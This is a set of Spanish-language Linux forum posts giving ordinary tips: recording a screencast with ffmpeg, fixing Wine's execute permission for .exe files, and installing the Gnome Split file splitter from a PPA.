Una ves que ya tenemos nuestro programita de arriba "FFMPEG" procederemos a realizar nuestro screencast desde nuestra querida terminal.

PD: Lee la parte de arriba si no sabes que es FFMPEG y si no sabes instalarlo..
Prosigamos <~

En la terminal tecleamos:
Código: php
ffmpeg -f x11grab -r 25 -s 1360×768 -i :0.0 /home/usuario/output.xxx


Donde puedes cambiar algunos parámetros:
-r 25: Es el número de imágenes por segundo (fps)
-i:0.0: Son las coordenadas de la esquina superior izquierda del rectángulo de grabación.
-s 1360x768: Es la resolución de pantalla que desea grabar.

El fichero de salida "Output.xxx" puede tener otro formato, por ejemplo avi/mpg.
Para terminar de grabar vídeo bastaría con presionar "CTRL+C"

Resulta que el comando anterior graba únicamente vídeo, si desemos capturar también el audio tecleamos en consola:
Código: php
-f oss -i /dev/dsp


Acá una captura del screencast rodando en consola:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Un Saludote ~ Kode!
#105
GNU/Linux / [Solución] Problema con Wine
Febrero 27, 2011, 07:28:43 PM
Pues, leyendo en varias partes de la web me e topado con un problema que tiene wine en su ultima versión..
Resulta que al instalarlo y configurarlo todo parece ir normal, hasta que intentamos ejecutar un archivo (exe/otra extensión) y nos topamos con algo como esto:



Pensaremos que el wine esta trabajando mal o que el archivo descargado esta corrompido, pero no!!
Por seguridad wine, bloquea todos los archivos ejecutables.. Para esto hay que hacer un simple paso y todos nuestros archivos funcionaran a la perfección.

Nos vamos al archivo a instalar, luego Propiedades > Permisos.. Donde tildaremos la opción que dice:
"Permitir ejecutar el archivo como un programa"



Con esto aceptamos los cambios y al ejecutar nuestro archivo pff:



Tendremos nuestra emulación 100% funcional..
Realizo el tutorial, por si a alguien le sucede esto ya sepa como solucionarlo :freack:
Espero les sea util :3  ~  Kode!
#106
GNU/Linux / Gnome Split ~ Divide & Une Archivos.
Febrero 27, 2011, 07:25:18 PM


Ya no es tan usual que tengamos que dividir archivos grandes en varios de menor tamaño (eso se usaba mucho en la época de los diskettes) pero a veces no nos queda otra opción, por ejemplo cuando queremos subir un archivo grande a un servicio para compartir archivos como Rapidshare.
Si usamos windows tenemos muchas alternativas pero si nuestro sistema operativo es Linux ahí se nos complica la cosa. Por suerte, navegando por la red me encontré con un excelente programa gratuito para Linux llamado Gnome Split con el que podremos cortar y unir todo tipo de archivos fácilmente mediante una agradable interface gráfica. Este programa puede ser descargado en un paquete .deb (para instalar en Ubuntu o cualquier distro que utilice este tipo de archivos) o también lo podemos agregar directamente a nuestro repositorio escribiendo lo siguiente en la terminal del sistema:

Código: php
sudo add-apt-repository ppa:gnome-split-team/ppa
sudo apt-get update && sudo apt-get install gnome-split


También pueden descargarlo desde su pagina oficial - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta